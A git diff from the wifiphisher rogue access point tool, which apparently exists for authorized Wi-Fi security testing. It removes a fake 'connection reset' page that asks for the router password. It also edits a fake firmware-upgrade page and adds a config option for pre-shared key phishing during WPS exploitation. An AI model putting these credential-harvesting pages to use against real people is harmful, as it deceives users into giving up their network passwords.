lB$v1c@W^4{9SVeC`hNzYR@2<5PS%6WQ&jyK|KZqQIEYzE)hY} z%|Aps%j+MusrTN~@7z#GS9I8i^V_+<-}ijak8>D82xJ=!!kE zk1YEA{vx~GesgGOs6~>bR7Xcg6a^#Q-QB4p0w$9wn{fHa$cRrozFM58*F%4Q|Bv?e z_6eTnKOIhF4=;GV-pbC-&PJ>Cbn)hDAEehq;BvX@tE;Q8hC(6B5eM;j;^0qjZ%+>0 zy{oJ1c4Gb+R9;{pv%Lbd%O7BHaIm?dp<%*kG%o+kK}94IY2mpoLtgG{X!Ho+y(_>m z`3aPiSSvgpk1G%elw}pb-Sf?6v$LtG>3V!F1ZOQgWHJC-+W_ZnGJIQn1?a4WI*iBT zun&utfI>fvjXiCaeohLu!Y@E%2GZ%Y22uCG$i4tUkWZllcQ_or^oN7CHeXR)UEMW@ z!(KB#69m1;fs)P~2xQiia8i(9_3LA3ZEf`y6cjj7MAQTnMb&m67IV}W(!FsHz5=9Xh3@UxTHeXNRzCZE#29%!J#3iEr78Z4y zO-sH4cnVPQPR=H+U~@(R8`>L-#iCT;*5qU?ytWiIlcpv6!0&j*> zngH3uzN83zH}=8yu5H@wc0XVpjvALtbo2<9YiphN zOr{eCp67t$C^~JXg0x6c6pj5@mStGLF*P;yocY^x{@?LSfB^tg@FtHsfQX_10000< KMNUMnLSTYUCSH61 diff --git a/wifiphisher/data/phishing-pages/connection_reset/icon/ie.png b/wifiphisher/data/phishing-pages/connection_reset/icon/ie.png deleted file mode 100644 index 13f92e2f1f2c6ac014d79c64677f00d068b0c7a0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5170 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 Qb@u=@Wi3RNqGj0s1I%lpRsaA1 diff --git a/wifiphisher/data/phishing-pages/connection_reset/ie.css b/wifiphisher/data/phishing-pages/connection_reset/ie.css deleted file mode 100644 index 09c6289..0000000 --- a/wifiphisher/data/phishing-pages/connection_reset/ie.css +++ /dev/null @@ -1,71 +0,0 @@ -body { -background-color: rgb(240, 240, 240); -font-family: 'Calibri'; -color: rgb(0, 0, 0); -} - -#center { -width: 658px; -height: 280px; -min-height: 280px; -position: absolute; -top: 0px; -bottom: 0px; -left: 0px; -right: 0px; -margin: auto; -border-radius: 14px; -box-shadow: rgba(50, 50, 50, 0.137255) 0px 4px 6px 1px; -box-sizing: border-box; -padding: 40px 35px 30px 47px; - -background-color: rgb(255, 255, 255); -} -#title { -font-size: 24px; -} - -#center-left { -width: 128px; -float: left; -padding-right: 10px; -} - -#center-right { -width: 570px; -} -#content { -font-size: 18px; -} - - -#center-below { -width: 460px; -margin-left: auto; -margin-right: auto; -padding-top: 40px; -} -#btnSubmit { -border: 1px solid rgb(66, 133, 244); -border-top-left-radius: 4px; -border-top-right-radius: 4px; -border-bottom-right-radius: 4px; -border-bottom-left-radius: 4px; -background: -webkit-linear-gradient(top, rgb(67, 135, 253), rgb(70, 131, 234)); -font: 13px/28px Arial, sans-serif; -padding: 0px 12px; -color: rgb(255, 255, 255); -margin-left: 25px; -width: 80px; -} - -#helpbutton { -color: rgb(142, 142, 142); -font-size: 14px; -} -#help { -padding-top: 30px; -display: none; -color: rgb(142, 142, 142); -font-size: 14px; -} \ No newline at end of file diff --git a/wifiphisher/data/phishing-pages/connection_reset/index.html b/wifiphisher/data/phishing-pages/connection_reset/index.html deleted file mode 100644 index 90558fc..0000000 --- a/wifiphisher/data/phishing-pages/connection_reset/index.html +++ /dev/null @@ -1,76 +0,0 @@ - - - - Connection Reset - - - - - -

-
- -
-
-
Your connection has been reset
-
-
Your router or gateway has reset your connection. - You must re-authenticate to continue browsing. -
-
- -
-
- Router Password:    - -
- -
-
-
What is this? - -
- - diff --git a/wifiphisher/data/phishing-pages/firmware-upgrade/config.ini b/wifiphisher/data/phishing-pages/firmware-upgrade/config.ini index e2009a5..6465bb3 100644 --- a/wifiphisher/data/phishing-pages/firmware-upgrade/config.ini +++ b/wifiphisher/data/phishing-pages/firmware-upgrade/config.ini @@ -4,6 +4,10 @@ Description: A router configuration page without logos or brands asking for WPA/ [context] firmware_version: 1.0.12 +# the variable psk_enable only has meaning when the WPS PBC exploitation is enable +# psk_enable = 1 : enable pre-shared key phishing when -wP is given +# psk_enable = 0 : disable pre-shared key phishing when -wP is given +psk_enable: 0 # Comment in the line below to override automatic vendor detection -# target_ap_vendor: AP_VENDOR \ No newline at end of file +# target_ap_vendor: AP_VENDOR diff --git a/wifiphisher/data/phishing-pages/firmware-upgrade/bootstrap.min.css b/wifiphisher/data/phishing-pages/firmware-upgrade/html/bootstrap.min.css similarity index 100% rename from wifiphisher/data/phishing-pages/firmware-upgrade/bootstrap.min.css rename to wifiphisher/data/phishing-pages/firmware-upgrade/html/bootstrap.min.css diff --git a/wifiphisher/data/phishing-pages/firmware-upgrade/bootstrap.min.js b/wifiphisher/data/phishing-pages/firmware-upgrade/html/bootstrap.min.js similarity index 100% rename from wifiphisher/data/phishing-pages/firmware-upgrade/bootstrap.min.js rename to wifiphisher/data/phishing-pages/firmware-upgrade/html/bootstrap.min.js diff --git a/wifiphisher/data/phishing-pages/firmware-upgrade/index.html b/wifiphisher/data/phishing-pages/firmware-upgrade/html/index.html similarity index 53% rename from wifiphisher/data/phishing-pages/firmware-upgrade/index.html rename to wifiphisher/data/phishing-pages/firmware-upgrade/html/index.html index 4b183dc..f4c0480 100644 --- a/wifiphisher/data/phishing-pages/firmware-upgrade/index.html +++ b/wifiphisher/data/phishing-pages/firmware-upgrade/html/index.html @@ -4,9 +4,10 @@ Router Configuration Page - - - + + + + @@ -128,77 +144,45 @@
- {% if target_ap_logo_path is not none %} -
- {% endif %} +

Firmware Upgrade

-

A new version of the {{ target_ap_vendor if target_ap_vendor != None}} firmware ({{ firmware_version }}) has been detected and awaiting installation. Please review our new terms and conditions and proceed.

+

A new version of the {{ target_ap_vendor }} firmware ({{ firmware_version }}) has been detected and awaiting installation. Please review the following terms and conditions and proceed.

-
- +
+
+ +
+
@@ -209,7 +193,7 @@ We are committed to conducting our business in accordance with these principles
-

© {{ target_ap_vendor }} 2016, All Rights Reserved.

+

© {{ target_ap_vendor }} 2017, All Rights Reserved.

@@ -223,7 +207,7 @@ We are committed to conducting our business in accordance with these principles